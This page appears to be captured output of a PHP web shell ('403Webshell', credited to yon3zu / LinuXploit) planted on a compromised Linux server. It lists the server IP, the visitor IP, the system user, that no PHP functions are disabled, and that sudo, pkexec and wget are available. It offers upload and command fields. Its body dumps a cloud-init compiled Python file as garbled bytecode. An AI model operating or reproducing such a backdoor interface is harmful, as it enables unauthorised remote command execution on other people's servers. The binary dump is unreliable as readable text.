403Webshell
Server IP : 195.114.193.97  /  Your IP : 216.73.217.93
Web Server : LiteSpeed
System : Linux host 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
User : sembi4241 ( 1126)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/config/__pycache__/cc_resolv_conf.cpython-310.pyc
o

쑛h��
@s�UdZddlZddlmZmZddlmZddlmZddl	m
Z
ddlmZe�
e�Zdd	d
�Zdgd�ed
gd�Ze
ed<dd�Zdededededdf
dd�ZdS)z"Resolv Conf: configure resolv.conf�N)�	templater�util)�Cloud)�Config)�
MetaSchema)�PER_INSTANCEzresolv.confzsystemd.resolved.conf)z/etc/resolv.confz/etc/systemd/resolved.conf�cc_resolv_conf)�alpine�
azurelinux�fedora�mariner�opensusez
opensuse-leapzopensuse-microoszopensuse-tumbleweed�photon�rhel�sle_hpcz	sle-micro�sles�	openeuler�manage_resolv_conf)�id�distros�	frequency�activate_by_schema_keys�metacCs�g}g}d|vr%|d��D]\}}t|t�r$|r|�|�q|�|�q||D]}|d|=q)|�d�s:i|d<||d<t�d|�t�|||�dS)N�options�flagsz$Writing resolv.conf from template %s)	�items�
isinstance�bool�append�get�LOG�debugr�render_to_file)�template_fn�params�target_fnamer�false_flags�key�val�flag�r*�A/usr/lib/python3/dist-packages/cloudinit/config/cc_resolv_conf.py�generate_resolv_conf1s 

�
r,�name�cfg�cloud�args�returncCs�d|vrt�d|�dSt�|dd�st�d|�dSd|vr&t�d�dSz|�t|jj�}Wnt	y@t�d�YdSwt
||d|jjd	�dS)
a[
    Handler for resolv.conf

    @param name: The module name "resolv_conf" from cloud.cfg
    @param cfg: A nested dict containing the entire cloud config contents.
    @param cloud: The L{CloudInit} object in use.
    @param log: Pre-initialized Python logger object to use for logging.
    @param args: Any module arguments from cloud.cfg
    rzFSkipping module named %s, no 'manage_resolv_conf' key in configurationNFzGSkipping module named %s, 'manage_resolv_conf' present but set to False�resolv_confz3manage_resolv_conf True but no parameters provided!z0No template found, not rendering resolve configs)r#r$r%)r r!r�get_cfg_option_bool�warning�get_template_filename�RESOLVE_CONFIG_TEMPLATE_MAP�distro�resolve_conf_fn�KeyErrorr,)r-r.r/r0r#r*r*r+�handleHs:
��

�
��r:)�__doc__�logging�	cloudinitrr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.settingsr�	getLogger�__name__r r6r�__annotations__r,�str�listr:r*r*r*r+�<module>s$
��"

Youez - 2016 - github.com/yon3zu
LinuXploit